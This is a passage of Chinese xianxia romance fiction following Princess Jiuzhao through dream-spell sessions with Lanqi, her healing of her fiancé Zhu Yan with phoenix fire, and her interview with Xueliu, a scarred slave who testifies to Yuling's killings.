祝晏微微皱眉:“其实前段日子,我回过北境看望兄长,王妃她……日夜为兄长奔走求告,整个人瘦了一大圈,满脑子都是延医寻药治好兄长,根本顾不上别的,就连后宅的事务也托付给了一位侧妃。” 白银铸成的雕花笼内,羽毛绚烂的极乐鸟,仍在不知愁苦地婉转鸣唱。 似是被它们的歌喉吸引,祝晏凝神听了几息,方才继续道:“或许,能什么都不做,被她就这样忽略下去,也挺好。正值多事之秋,我若贸然将月见接走,神王妃怕会觉得我没了牵挂,要对世子之位下手。” 九昭没立刻回话。 她觉得祝晏所说也有理。 不过。 “不过她这么认为也没错,世子和北神王的位置,本来就是要给你的。 “孟楚废了手臂,自顾都已不暇,难道还想兴风作浪?” 说着说着,九昭又有些不以为然。 过去,父神瀛罗他们忌惮北境,是因为九尾狐族过去有勾结魔族的不臣先例。 然而现在唯一的嫡子折在魔族手里,成了废人,如此不共戴天之仇,他们如何还有合作的可能性。 九昭目光一转,见咫尺间祝晏的神色亦是了然,便歇了再陈述一遍现况的心思。 她眼巴巴望着祝晏,终是望得祝晏颔首道:“昭娘,我知你对我的体贴,你要早点将月见接来也好……要不,你看这样行不行?稍微等待几日,等忙完留春宴和接待魔族的事宜,立刻派人去—— “如此,既不需要你一心多用,分神费力,也能够避免夜长梦多。” 距离他们成婚,少说还有一年半载,可留春宴,只剩不到一个月就要召开。 二十几天日,于神仙而言弹指即过。 九昭多少心安了些,朝他轻轻勾起唇角,又微笑开来。 …… 隔日又到了和兰祁约定的子时相见之期。 那个梦对九昭造成的心理阴影不小,从情感出发,她着实不想再同他见面。 奈何,仙识藏匿于他的灵台当中,尚未抽出,意欲窥探的秘密亦不曾寻到分毫。 她只能硬着头皮,继续前往灵泉宫赴约。 不必出席正式场合,兰祁常着一身没有任何装饰的黑衣。 无星无月,玄色深沉。 衬得他一张秀美清润的容颜越发具有迷惑性。 九昭与他共案而座,特意盯着他多看了几眼,心中忿忿慨叹: 为何会有人表面看起来,如同只可远观的高岭之花,背地里却是实打实的下流色/魔?! “殿下怎么这么看着我?是我的脸上有什么东西没擦干净吗?” 脸皮厚如兰祁,被她一瞬不瞬盯着,却没有表现出任何不自在。 他探出修长指尖,沿着面颊轮廓一一挲过。 像是在一本正经寻觅自身被额外关注的缘由。 又像是在磨蹭抚弄着什么。 莫名其妙的,梦里另一个自己,被他握双腿在掌心,莹白皮肉凸出指缝的场景,再度浮现九昭脑海。 她窘迫到连忙侧转双眸。 瓮声瓮气道:“业尊的脸上都什么都没有,只是我昨天睡得不好,眼睛不舒服而已。” “嗯。” 兰祁颇为认同地应了声,又凑近身躯,仔细端详九昭片刻,作出副关心的模样,“殿下似乎是状态不好,不止眼睛不适,连面孔也红得很,不如今日先不施法引你入梦了,殿下回去好好休息吧?” “……” 祖神娘娘在上。 只有天晓得她的脸为什么而红—— 而始作俑者,竟还在她的面前表现出十成十的无辜! 唯恐兰祁察觉到更多异样,九昭收敛心绪,抬头恶狠狠瞪了他一眼: “感谢业尊关心,本殿无妨!” 123| 第123章 ◎“错认。”◎ 九昭既说了无妨, 兰祁也没坚持。 照常施展魇术,将她引入斑斓的梦境中。 闭上双眼,呈现在面前的, 依旧是九昭尚未出生前夕, 两人相处的过往。 随着神旨颁诏四方,兰祁正式成为帝后养子,入主二清天——那依循神后喜好,布置得富丽堂皇的灵泉宫, 也在他的吩咐下,一点一点变成九昭印象里,清素见璞的模样。 这一次, 兰祁没有将她遗落在某个晨间或者午后。 岁月好似九昭在芸生世见识过的皮影戏般,飞快推移着—— 九昭见到一向宽和近人的母神,为着兰祁私下被怠慢,而大发雷霆, 开口重重惩处了灵泉宫的统领仙官。也见到兰祁由于年岁不够, 无法前往长烨学宫修习, 母神和父神干脆轮流担负起,每日抽出闲暇为他开蒙的职责, 教会他如何吸收仙灵, 沟通天地,一步一步打好根基。 他们极尽所能地对待着兰祁。 哪怕亲生父母, 亦不过如此。 可许是母女连心, 当躯壳内的灵魂从兰祁变成九昭, 她竟莫名地感受到了一点异样。 这点异样, 发生在彼此对上的视线里, 以及神后抚摸兰祁的头顶, 偶尔出神的停顿间。 如果非要形容,这种极致的好,仿佛带着歉疚和补偿的性质。 九昭能够敏感捕捉,却不懂得神后的情绪来自何处。 歉疚什么? 又补偿什么? 兰祁曾经的颠沛潦倒又不是他们造成的,可以说能够成为三清天之主的养子,是他三生修来的福气。 总不能,兰祁是他们的亲生孩子,才会这样自责吧? 九昭被脑海冷不丁冒出的念头无语到。 父神是龙,母神是凤凰,无论如何,他们都生不出一根草。 莫非,是母神出墙……? 呸呸呸! 九昭大骂自己一通。 可恨魇术的梦境里,她没有控制身体的权利。 没法从母神的行为举止中,探究出更多的东西。 总之一言难尽。 疑问像是缠上树木的藤蔓般,裹覆在九昭心头。 梦境结束后,她也没急着走。 她故意开口酸道:“母神父神待你可真好——若非我知晓魇术不能捏造,还以为里头都是你的幻想。” “是啊,他们的养育之恩,我始终难以为报。” 兰祁慢悠悠地应和着,可不知是烛火昏暗,还是阴影遮挡,九昭总觉得他的眼神透着一丝冰凉。 果然是养不熟的白眼狼! 眼前青年伪善的面孔,与绮梦里放肆的神容逐渐重叠在一起。 九昭垂落眼帘,将视线定格在他微曲指节处,试探着:“如今神魔两族停战议和,日后常来常往亦是难免,你与我姻缘不成,我懒得计较,你既还念及父神母神恩情,将来若有了心上人,可以带她前来拜见。” “为何要将来?我一直都有,只不过没有向焚业海公开。” 兰祁薄唇张口,轻巧吐出九昭不曾设想过的答案。 躯体先大脑一步僵在原地。 她不可置信地寸寸偏移着眼珠。 有喜欢的人,还能在梦里对自己那样—— 这便是焚业海放浪形骸的风气吗? 作呕感倏忽自喉咙深处涌现,九昭捂住口鼻,条件反射想吐。 但在兰祁不错眼的目光注视下,只能拢在嘴畔,假装瘙痒,挠了挠唇珠上方的肌肤。 她尽力保持着镇定,才没有冲上去挥拳打中他的眼睛。 “业尊喜欢的女子,是谁? “是某位城主吗,还是哪个焚业海大贵族的女儿——” “怎么,神姬殿下对这个很好奇吗?” 面对她不自知的逾越追问,兰祁似笑非笑。 九昭抬起头,用一贯的尖刻语气回怼道:“毕竟魔族重欲开放,这是整个三界皆知的事情,业尊做了他们的首领几千年,出入连个近身侍女都不带,难免被人揣测喜好异常,本殿也是为业尊你着想。” 九昭说这话,倒不全是污蔑。 自打上回结束在兰祁识海内的冒险,她认为这样依靠揣测来控制仙识探知记忆,终究有些冒险。 便命缃璧沟通了她那位侍奉在扶摇殿的好友,每日进行打探,确认兰祁寝殿熄灯后,发条仙讯过来。 这不打探不知道,不仅带来的人马里没有贴身女婢,就连起居洗漱兰祁都亲力亲为,不让女婢插手。 如此怪异的行为,在对方言明自己有心上人的情况下,就能解释得通了。 不过不妨碍九昭将其拿来揶揄讽刺。 兰祁又是浑不在意一笑:“为喜欢之人守节,不是正当名分吗?孤岂会在意他人的眼光。” 他并不告诉九昭那位女子姓甚名谁,什么身份,只隽秀神容轻轻一荡,像是沉浸在万般柔情里,连平素疏离的眸光都澹然起来,近似自言地说道,“她柔媚痴缠,还喜撒娇,很得我的喜爱。” 相较他的情真意切,九昭这头差点连假笑都维持不住:“那他朝业尊更应该将其带来了,能被冷情了万年的业尊倾心以待的女子,本殿也很好奇她是什么样子——说不定,还能做个朋友。” “罢了,如今的殿下,同她可不是一路人,还是不见为好。” 被兰祁的果断拒绝气得够呛,九昭下意识忽略了他言语中陡然出现的“如今”一词。 她处在爆发的边缘,的面色颇为难看,正欲转身就走,却又听见兰祁说道,“不过,承殿下吉言,若我与她真有有情人终成眷属的那一日,我一定会邀请殿下参加我们的大婚典礼。” …… 与兰祁不欢而散。 九昭一连几日都没有再去灵泉宫。 横竖他手背上的伤口治疗得七七八八,九昭也从中得到了控火术的进步。 留春宴的筹备过程进行得如火如荼。 今年正好是桃林千年一次的结果之期,场面更是隆重。 这日九昭奉神帝之令,带着养护植物的仙匠,去查看一下桃林的情况。 故地重游,她便也叫上了待在长乐命牌内的祝晏,一同过来散心。 到了升鸾台,几位仙匠四散开来,前去忙碌自己的差事。 唯余九昭与祝晏手牵着手,沿着桃林曲折清幽的小径漫步。 “虽说神仙寿数漫长,可随着岁月推移,身心总会发生些许变化,唯有这桃林在我眼里万年依旧,叶片与叶片,果实与果实之间,没有任何不同。”三清天的桃林蕴含天地灵气,时常会出现花果叶共存的场景。 九昭举目之处,尽是连绵的粉花、白果、碧叶。 长时间停驻览望,会不自觉生出目眩神迷之感。 她行了一圈,依旧对当年解救祝晏之事毫无印象,便停下脚步,伸了个懒腰:“所以我觉得晏郎你记性真好,几万年前我们都是小孩子时的事,还能记这么牢——不像我,到现在都没想起来半分。” “或许是那时候的我太不起眼了吧,淹没在人群当中,殿下见过就忘,才会没什么印象。 “但与我而言,那是一见钟情的开始,因此每一处细节,每一句对话都刻骨铭心。” 祝晏立在一旁,谦虚地评价着自身。 引来九昭不满地嚷嚷:“晏郎绝世容光,哪怕整个三界都无几人可以相较!” 说着,她又黏黏糊糊蹭过来,重新握住祝晏的手,“要是有能够回到过去的法术就好了,还是个小娃娃的晏郎肯定很可爱,那孟楚吃瘪受气的模样也一定很滑稽!” 身形亲密交叠着,念头转到暧昧之处,她与祝晏咬着耳朵:“从前我不喜欢孩子,觉得他们刚生出来皱皱巴巴的十分丑陋,而且分娩的过程还那么痛,但如果是与晏郎你的孩子,我倒是稍微有些期待了。” 眼下唯余彼此,九昭的话带着露骨,惹得祝晏面容微红。 涅槃凤火即成,便意味着他可以和九昭一起畅想以后。 他长如蝶翼的睫毛抖落两道弧影,略作思忖,小声说道:“仙族有心诞的方式,我绝不会让昭娘受苦。” 如此深情,九昭满心甜蜜。 爱欲上头,总会做出幼稚之举。 九昭合掌环住他的手臂,浸满喜悦的眼睛闪闪发亮:“晏郎,你还记得,当日助你我定情的是哪棵桃树吗?我要在上面做个记号,从此以后,它开的花结的果实,只有我们二人可以共享。” 祝晏柔情眷恋的眸光映出刹那的滞涩。 而这一切,被歪头靠在他肩膀的九昭尽数错过。 “嗯……让我想想。” 反客为主,祝晏领着她,寻到一处空地。 他抬手指着其中一棵,和旁的同类别无二致的桃树:“是这棵,藏在桃林深处,我应当不会记错。” 有地点事物的重现,衬得这段九昭错过了半程的感情越发深刻。 她小声说了句“等我一下”,顺手从发髻上拔落一根玉钗,朝着祝晏手指的方向步步靠近。 此时此刻,“姻缘天成”四个字反复回荡在九昭的脑海。 或许也可以仿照长烨学宫内的那棵相思树,圈栏保护起来,以作为她和祝晏真爱的纪念。 短短十几步路,有无数念头滑过。 九昭的目光自上而下,寻觅着将何处作为标记地点最为合宜。 逡巡之间,她的注意力又被靠近树身根部的一道痕迹吸引。 这道痕迹,好似树皮皲裂的痕纹,十分不起眼,唯有特定角度,才会折射出淡淡的光芒—— 九昭来之前,同仙匠们粗略了解过桃林的情况。 他们说有十来棵桃树在两千年前老去枯死,署内便将它们拔去,另外更换了一批种在原处。 新种的树苗也到了结果之期,只是年数尚浅,须得更小心仔细养护。 九昭今日到来,最主要的目的便在于查看这特殊的一批。 她刚才瞧见的痕迹,正是仙匠们为了方便辨认,当初专程在树身上留下的标识。 这个秘密,九昭知晓。 祝晏却并不清楚。 所以,才会错指了一棵堪堪两千岁的桃树。 是他也忘记了他们的初见地点吗? 还是。 九昭掌心的玉钗迟迟落不下去, 一种奇怪,混合着失落,以及其他说不清道不明滋味的情绪,在心口迅速而无声地发酵着。 该回头问问祝晏是否认错了吗? 她不确定地反问着自己。 直到另一波足音,从桃林的东南方向传来。 124| 第124章 ◎“我定会治好你。”◎ 见一路穿枝拂叶而来的是扶胥。 九昭收起面上疑惑, 回到祝晏身边,重新牵住他的手。 不论过去如何,上回世子邸前的相遇, 扶胥明显已经表明了态度。 他能坦然, 九昭便也跟着坦然。 她若无其事地等候着扶胥上来拜见自己。 岂料对方带着几名仙兵在丈外站定,目光落在她与祝晏交扣的十指上一瞬不瞬。 一时之间,场面有些尴尬。 九昭耐着性子等待几息,终是忍不住轻轻咳嗽作为提醒。 扶胥这才抬起双眸, 拱手作揖:“见过神姬殿下,和未来王夫。” 上神的地位同神王齐平,作为神王的孩子且不是世子, 依照天令,需要见礼于上神。 祝晏生性低调,处处将应守的礼节刻在骨子里。 未来王夫这个称呼出口,他行礼的动作停了下来, 望着扶胥不知在想些什么。 九昭反倒挺满意这位前夫的识相程度。 相比当面一套背后一套, 让她有气没处发的兰祁, 九昭单方面认为自己和扶胥的相处情况挺好,三清天的繁荣离不开扶胥的效力, 就这样下去, 做一对清清白白的君臣,应当是他们破灭感情的最好结局。 出于投桃报李, 她客气地慰问了下扶胥:“本殿听闻, 上神你在仙魔之战中受了内伤, 眼下伤情如何了, 可有找医仙来治疗吗?上神你为三清天劳心劳力, 本殿那里还有不少补身良药, 等下派人给你送去。” 对于她的示好,扶胥却不领情:“区区小伤,何足挂齿,殿下日理万机,对臣无需过多在意。” 好吧,算她多管闲事。 分了手,他又变回了原来那副不近人情的样子。 九昭碰了一鼻子灰,懒得再跟他废话。 偏偏扶胥对她的黑脸视若无睹,仍站在原地,似乎他们之间的交谈未曾结束。 九昭瞧着他淡漠若深潭的瞳孔,只好主动下逐客令:“上神来到桃林所为何事?看样子,仿佛本殿打扰了你,若还有事要忙,不必在这里费时间陪着我说话。” “不忙,只是奉帝座之命,前来预排留春宴当天的戎务。” 不闪不避,扶胥狭长的瞳眸盯在她脸上,“殿下带着王夫前来,也是帝座交代了差事么?” 交不交代差事,与他何干? 无论是否繁忙,带着几个五大三粗的男人,干杵着打扰别人约会就很不识相了。 九昭心中才升起的一点,从此以后与扶胥和平共处的念头,又掐灭在萌芽阶段。 结契多年,她自知对方最不感兴趣的是什么话题,干脆转过下巴,深情款款地望着祝晏,口中故意甜腻腻地说着:“父神的差事归差事,正好本殿也想和晏郎携手重温一回当年初见的场景——上神大概不知道吧?为着本殿少时曾解救过他一次,晏郎竟对我念念不忘了数万年,如今有情人才终于修成眷属。” 合乎意料。 那如同一座万年不化冰山般的上神,在听到这类近似打情骂俏的言语时,浅浅拢起了眉峰。 九昭再接再厉,忽略掉心底方才意识到祝晏记忆出错的不适感,伸出指尖遥遥指向斜前方的桃树:“便是那棵,当时晏郎想摘取蟠桃,反被孟楚阻拦,是本殿出面,替他赶跑孟楚,过后还送了满满一篮桃子给他——上神未来时,本殿还在同晏郎开玩笑,要给桃树做个标记,作为我们感情圆满的象征。” 融入肉麻的词汇,增添煽情的语调。 九昭又絮絮不断地说了许多,直将祝晏说得睑落红晕,不好意思垂下头去。 然而,应当露出反感,或者索性告辞走人的那一位,却始终一言不发地听着。 起先的皱眉之后,他英俊的面孔再未发生任何变化。 反而跟在两侧,某些尚且年轻,血清方刚的仙兵们,眸光不断明灭闪烁着。 ……没意思。 膈应不成,九昭彻底失去兴致。 迎着扶胥的凝视,她陡然住了口,张开纤细五指,信手拨弄两下新染的蔻丹:“罢了,是本殿多话了,若无事,上神便先走吧,本殿还要同晏郎一起,再去别的地方查探下桃树的结果情况。” “预祝殿下同王夫百年好合,那么,臣先行告退。” …… 入夜就寝前,九昭还在想扶胥的话。 她第一次知道人能不会说场面话成这样。 百年好合。 便是最低阶的仙奴,也有将近万年的寿命。 芸生世里拿来祝福新婚夫妇的话,用在她和祝晏的身上,却是有了诅咒的嫌疑。 九昭坐在书案前,正为修习的策论做着批注。 等到反应过来,雪白的边页已是无意识地留下了“扶胥”和“百年好合”几个字。 “……” 九昭忿忿拿起朱笔,在上面划了几道。 如此不够,又将书册翻上,丢得远远的,重找了本新的继续修习。 近来事情颇多,她学了一会儿,难免感到心浮气躁。 起身支起窗户想要透透气,代表有新仙讯传来的小巧光团迅速穿过空隙,悬浮在她面前。 九昭用食指点了一下,光团溃散,化作仅有她才能看见的文字: 扶摇殿烛光已熄。 罢了,学不进去就换件事情做。 等过一炷香的时间,九昭开始第二次尝试探索兰祁的识海。 这次兰祁不曾做梦。 也没有魔识组成的圆核为九昭指明道路。 无数象征记忆的光点,如同夜空中的繁星,根据时间远近,由弱及深地散发着光亮。 游动一阵,九昭发觉,探知他人的记忆远不及自己设想的那么容易。 在兰祁心智没有受到冲荡,比较沉稳坚定的状态下,这些明烁的记忆外围都包裹着一层壁障。 她的仙识纤细若游丝,强行突破只怕难以为继。 九昭也没放弃,横竖只要不被发现,接下来她还有许多时间。 每次都探索一小部分,说不定哪日便能够找到薄弱处。 …… 如此,平静无事过去小半个月。 杏杳那头终于传来消息,增加治疗成功率的仙药制作完毕,可以着手为祝晏续脉淬骨。 桃林内认错桃树的事,虽叫九昭有些不舒服,可她并不会为此否定一个人。 年岁长久相处下来,祝晏对她的感情,她是能够感觉到的。 这期间,有数次九昭都想开口问问祝晏,又不知该从何说起。 归根究底,就算认错了又如何,连这么点事都在意,显得好像很小家子气。 在九昭的踌躇中,事情按捺了下来,直至今日。 得知祝晏终于康复有望,她没过两日,便将他带到了神医署。 施展涅槃凤火的过程,需要全神贯注,心魂入定,杏杳特地为他们寻了署衙最底层的密室,石门开启,法阵运转,哪怕外面天塌地陷,都不会影响内里之人分毫。 命两人分别在蒲团上坐下,矮个医仙立于中央,小心翼翼从药瓶中倒出炼成的丹丸。 那丹丸和九昭见过的都不同。 流光溢彩,白玉一般。 九昭屏气感知,从中捕捉到了无比熟悉的,来自瀛罗的水系修为之力。 她猜测当日瀛罗耗费修为,凝结而出的鲛珠用在了其中。 不禁感叹:“杏杳天仙倒是医者仁心,任凭什么贵重珍宝都用在了病人身上。” 九昭常与杏杳斗嘴,气急了“死矮子”、“短炮仗”都会随意蹦出口。 她正儿八经称呼“杏杳天仙”的时候不多,此刻却带着几分敬重钦佩的意味。 闻言,杏杳眸光一闪,似是赧然伴偏过脸颊,朝着祝晏那处,硬邦邦地回道:“微臣只不过略尽绵力而已——祝晏仙君能否复原如初,全看殿下您的涅槃凤火是否足够精深了。” 话音未落,她行了一礼,矮小的身影缓缓消失在闭合的石门之后。 拿瀛罗的玉剑以及兰祁的伤口练习了许多次,九昭的控火技艺已至精纯。 奈何,祝晏是她珍视的爱侣,彼此又面临着失败则性命攸关的结果。 饶是再如何熟练,九昭难免感到忐忑。 心脏擂鼓般一下一下跳着,快要冲出喉咙。 她深呼一口气,像是劝慰对方,又像是安抚自己。 对吞下丹丸,盘腿准备入定的祝晏挤出笑弧:“晏郎,相信我——我一定会治好你。” 125| 第125章 ◎“太好了。”◎ 对比九昭的忐忑, 祝晏则显得十分放松。 “这么多苦难我们都一起走过来了,昭娘,我相信你。 “我也相信, 我们还会有很长很好的将来。” 说着, 他朝九昭轻快眨了眨眼,表情轻快。 被祝晏充满信赖的语调感染,九昭也跟着平静下来。 她回到自己的蒲团上,打坐入定。 待祝晏颔首示意已经做好准备, 便闭上眼睛,双手掐诀,释放出无穷无尽的涅槃凤火。 炽热的火光经由掌心逸散, 化作规则的圆形将青年笼罩起来。 其中蕴含的仙光亦随着肌肤的孔隙向内渗入。 有过上次探寻病源的经验,九昭轻车熟路地找到了祝晏心脏附近的那片断裂的脉络。 灰黑的、滞涩的,如同失去养分,彻底枯萎的树根, 在九昭的识海呈现出黯淡景象。 确认完毕, 她调转涅槃凤火的所有力量, 朝萎缩的末端攻了过去。 “!” 大脑一片空白过后,祝晏想, 当年九昭封入树心承受的煎熬, 自己或许能在此刻感同身受一二。 续脉淬骨,名为治疗, 实际上痛苦异常。 熊熊燃烧的火焰反复冲击着脉络。 每一下都不啻于烧到滚烫的尖锥, 凿在神魂和骨血当中。 剧痛里, 枯脉被剥离出黏连在一起的血肉, 而已然皱缩的外壁部分, 则要经历烧化过后再度新生。 那处坏死万年, 唯有在满月来临之际,才会作乱令他心悸吐血。 可在涅槃凤火的灼烧下,祝晏竟然奇迹般地感觉到了体内的脏腑,不断溶解,化为血水的过程。 这种体验过于可怕,不仅身体要承受痛意的折磨,就连脑海也产生了灵魂都要跟着焚毁的错觉。 祝晏咬紧牙关,竭尽全力才能克制住切切战栗的声响。 九昭封闭了视觉,唯一能感知他状态的便是听觉。 闷哼、呼痛、牙齿打战,都会传入她的耳朵里,引起她的担忧。 只是—— 只是真的太痛了。 他是活着还是死了? 超过承受能力的痛苦蒙蔽了祝晏的五感。 他无法思考,无法分散注意力,只能将指甲深深嵌入掌心,牢记不要出声影响九昭的唯一条例。 …… 万幸,走到了这一步,总算没有功亏一篑。 杏杳在开始前,叫祝晏服下的丹丸起了效果。 有来自瀛罗的纯净水系仙力加持,多少抵消了些许焚化万物的热意。 在持续作用下,皱巴巴的外壁完全融化,阻塞万年的仙脉被终于冲撞开来。 九昭连忙撤去凤火的攻击性,将变得柔和的力量,注入断裂的两端。 一片赤色萦绕外壁,新生的血管似有意志般向前延伸,直至相互衔接。 干涸已久的土地,再度迎来了涓涓细流的滋养。 连通的刹那,一股积聚在脉络内,长久无法释放的磅礴仙力涌了出来。 它扑在尚未来得及退出的涅槃凤火上,却仿佛情人舒展的臂弯般将其温柔笼罩。 若九昭在此时睁开双眼,会看到祝晏满头银丝从发尾开始,转变为鸦黑的奇异景象—— 澎湃的生机重返这具羸弱许久的青年身躯。 苍白的薄唇再现血色,心脏扑通、扑通,卖力的跳动着,向世间宣告命脉延续的喜悦。 九昭也很高兴。 忙活了百年,经历了数度九死一生。 为的就是这一天。 她支付的代价,总算没有白费。 但高兴没有持续太久,她四散的仙识陡然捕捉到了气息中的异样。 ……不知该如何形容。 就仿佛纯白的画布上,倏忽多了一道刺眼的墨迹。 祝晏纯净的仙元里,一缕浊意似有若无地吸引着她的注意力。 待九昭试图深入查探,它又转瞬即逝,再无踪影。 九昭总觉得在哪里感受过近似的气息,然而治疗接近收尾的当下,不允许她思忖太多。 很快,她说服自己。 祝晏病弱了这么久,筋脉不通,仙灵无法流动,体内含有浊气也实属正常。 只要重新运转,仙体马上便能排净归于无瑕。 指引着力量运转一个来回,检查无误,治疗正式结束。 九昭状态尚好。 而没有了凤火充盈,祝晏立刻前倾倒在石台上,浑身上下汗如雨落,活像刚被人从水里打捞出来。 顾不上脏,九昭赶忙冲过去将他扶起抱在怀里:“晏郎,你感觉如何?!” 喉咙发出顺气的两声“嗬嗬”,祝晏抬起被汗水打湿的睫羽,朝她虚弱一笑: “昭、昭娘单看,我重新变回黑色的、的头发便知晓。” 经由他的提醒,九昭这才注意到他外表发生的最明显变化。 “太好了,太好了……” 用力抱紧祝晏,她口中带着笑意不断重复这句话。 而后被恢复了一点力气的祝晏抬手,柔柔揩过眼角。 “……昭娘,你不要为我哭。” 晶莹水光凝在青年的指腹,九昭瞧着怔了怔。 转瞬,又弯起双眼,含泪带笑应承他道:“嗯,以后都不会再哭!” 打开石门,放出仙讯给杏杳。 不过是,她便赶了过来。 见到祝晏的发色蜕白为黑,她的目光也出现了一瞬失神。 “居然,这么神奇——” 她小声嘀咕两句,踱步过来为祝晏进行检查。 片刻后,杏杳面色一松,用着不甚娴熟的敬语,行礼禀告九昭道:“恭喜殿下,祝晏仙君的弱症已然痊愈,接下来只需在石室内由我精心调理五日,便能与寻常神仙一般康健长寿。” 那么多年捱过,五日不过白驹过隙。 又同祝晏温存片刻,九昭这才依依不舍将他交到杏杳手里,起身离开了神医署。 …… 横亘在他们中间最大的问题解决了。 九昭真的很欢喜。 一切都在朝好的方向前进。 现在,只剩下惩处毓灵的事情需要从长计议。 神仙如此,魔族亦然,天地法则孕育而生,拥有强大力量的种族,从来不轻易许诺。 但诺言既成,便涉及到了因果业力。 想要在成神时顺利参透心魔,九昭就要努力去达成自己的誓言。 前番和祝晏有关月见的对话,令九昭意识到,杀害仙奴虽是罪过,但若闹得不够大,不真正搬到明面上,毓灵顶多在东神王的包庇下,守点不痛不痒的惩罚——那样便违背了九昭的初衷。 不只是替巫逐报仇。 毓灵夺去的一条条鲜活的性命。 更象征着无道的仙奴制度,应该被彻底推翻。 和三清天的所有署衙一样,哪怕是自愿成为侍仆的散仙,那也不过是一份正当的职业。 他们从来不低人一等,也不该为人轻视,受到何其不公的待遇。 但正如瀛罗所说,毓灵及其后续的情形,涉及到的是三清天贵族大部们的利益。 由于人数众多,实力盘根错节,缓缓而治,不会起效—— 就算她私下求见父神,也无法得到自己想要的结果。 深思熟虑过后,九昭将目光放在留春宴前夕的大朝会之上。 这是三清天最为隆重盛大的集议。 上神、神王、各部之长、世家贵族、署衙正副仙官,皆要参加。 大朝会于紫微宫大殿举行,每次召开都意味着有重要的律令决策要颁布。 这一回,是为了正式宣告同焚业海的缔结和平协议。 万众瞩目下,呈上毓灵的罪证,料想身份高贵如东神王也难堵众人悠悠之口。 更甚者,如此重要的日子,她或许可以将废除仙奴制度的想法提上议程。 为了安全起见,九昭连父神派来的朱映一并瞒过。 大朝会召开前的七日,她命人秘密将瀛罗提供资料里的仙奴接入了离恨天。 126| 第126章 ◎“雪柳。”◎ 瀛罗在东原寻找的那名仙奴叫做雪柳。 资料上仅记录了她的生平信息, 没有用录影术呈现她的容貌。 因此九昭脑海中也没什么具体的想象。 她只晓得对方曾经被毓灵虐待,满身是伤,后又被东神王派人医好, 隐姓埋名活了下来。 然而真正见到雪柳, 九昭却被吓了一跳。 唯余彼此的侧殿,跪在她面前的仙奴深深俯着头,衣衫陈旧,手肘处隐约透白。 听到九昭“抬起头来”的吩咐, 她攥住裙摆的拳头握得越发紧。 黑发落下的弧影,一阵无声摇颤,才将恨不得埋进衣襟里的面孔, 缓慢扬了起来。 屏住呼吸,是九昭在见到超出想象的场景时,下意识做出的动作。 数道鞭痕和刀疤横亘在少女的肌肤上,虽早已结痂, 却泛着紫红的颜色, 凹凸不平。 破坏了那张清秀的容颜, 平添无尽丑陋狰狞。 可话说回来,这些落在凡人眼里毕生难愈的疤痕, 于神仙而言, 不过是一个治愈术就能解决的问题。 瀛罗明明说过伤口都治好了,怎么会—— 触及九昭变幻的眸光, 这些年活在他人异样眼光之中, 对于捕捉情绪早已敏锐异常的雪柳, 立刻熟练掏出一块麻布罩住鼻尖以下的半张脸, 叩首诚惶诚恐告罪道:“奴婢陋颜, 惊吓到了殿下, 还请殿下恕罪!” “……无妨。” 九昭没有同这类身心受损之人交流的经验。 她阖了阖眼眸,将瞳孔中的残影用力甩掉。 抿住嘴唇,思忖几息,她放轻声音询问道:“你,戴着这块布,可会觉得热?若是热,摘下便是。” 与瀛罗的人接触这些时日,雪柳尚不知等待自己的会是什么。 她常年陷在毓灵所带来的阴影里,时常变得迟缓的大脑,仅能揣测到,许是三清天中某位大人物想要整治毓灵——不管对方的根本目的是正义还是邪恶,只要能为姐姐报仇,只要毓灵无法再倚仗东神王的庇护,最终落得个凄惨下场,那么雪柳就愿意赌上全部,乃至性命,去赴汤蹈火。 仙奴本就卑微。 她并不指望这位高高在上,桀骜之名四方皆知的神姬,能够如何友善地对待自己。 听见座上之人小心翼翼的问话,她晦暗的视线忍不住恍惚一阵,再聚焦时,对上双干净无瑕的眼睛。 起先的震惊过后,九昭浑身上下再未散发出任何叫雪柳不适的气息。 她见跪着的少女并不回话,又窘迫起来,怀疑自己是否做错了什么,伤害到了这位可怜人。 “要不,你先起来,去椅子上坐一会儿? “反正时间不着急,你可以等到想说话了再同本殿说。” 九昭继续努力释放善意。 下一瞬,雪柳像是突然回过了神:“谢、谢殿下宽宥,奴婢跪着回话就可以。” 无奈,九昭只好施法将一旁座椅上的鹅羽软垫移过来,垫在雪柳的膝盖下。 “东神王不是治好你了吗——这些疤痕,怎么他没有帮你去除?” 不知该从何问起,九昭先开始关心她的身体。 东神王的称呼入耳,一些不堪的回忆再度复苏。 极力克制住生理自动产生的颤抖,雪柳垂首,结结巴巴地回答道:“回殿下,他是将奴婢都治好了……起码现在行走坐卧无碍,不像从前、从前腿断了,爬都爬不起来,只能眼睁睁看着死去的姐姐被人拖走,扔到后山的沼泽里,尸身被吞噬腐化,连灵魂都受困其中……不、不得超脱。” 尸身腐化,灵魂不得超脱? 九昭蹙起眉头。 无干意外人为,寻常神仙死去,肉躯灵魂都会化作清气滋养天地。 绝不会留下诸如腐化尸身,破碎白骨之类的东西。 莫非毓灵使了什么手段? 就着这点深入问询下去,九昭方知晓,原来她是担心自己造下的杀业太多,受到业力的报应。 只要清气不归天地,天道法则就无法施加因果。 如此,毓灵便能平安长久地活着。 “沼泽深处,还埋着、埋着不少尸骨—— “毓灵给那个地方下了道仙术,用来镇压、这些年杀死的仙奴。 “她每丢一具尸体下去,都会拍拍手笑着说‘活着就是最低贱的东西,难道死了还想影响我的运道吗?’ “奴婢的姐姐,便是因为、因为当时陪她前去,不小心露出了不忍神色,才会被她、她从此记上……” 雪柳的话说得断断续续。 有些地方的用词也并不标准。 这类镇压神仙灵魂肉身的术法,不该用仙术而论,更像是,某种有违天令,不允许被提起的禁术。 草菅仙命,再加上擅用禁术以作残忍行径。 两桩罪过加在一起,只消在众仙面前揭开,毓灵定会被施以最严苛的九天雷罚之刑。 恐怕东神王也要因包庇而被问罪。 计划仅差最后一步便能达成,九昭心中却没有实现承诺,秉承正义的畅快。 雪柳吐露完毓灵的罪行,浸入痛苦当中,仍在哀哀追问:“殿下,奴婢自知,我们这些仙奴,只因幸运成为了三清天中的一草一木,经由仙灵长期润养,才化出了人躯……的确、的确没有经过艰苦的修行,相比芸生世那些砥砺自我众生的修士,我们是运气很好,轻松拥有了仙籍,可、可我们的命便这样低贱吗? “我的姐姐,没有做过一件坏事,侍奉毓灵恪尽职责,却落得个这样的结果——” 九昭唯能沉默,无从回答。 她再三向雪柳保证定会让毓灵恶果自尝。 说到最后,雪柳忍不住捂着双眼,涕泪俱下:“可奴婢的姐姐,再也活不过来了啊……” 好不容易借由忙碌生活,被压抑在脑海底层的悲惨记忆不断涌现。 雪柳分不清究竟是该恨视他人之命如草芥的毓灵,还是该怨自己和姐姐为何要投生成为仙奴。 瞧雪柳哭得悲戚,九昭心底也不好受。 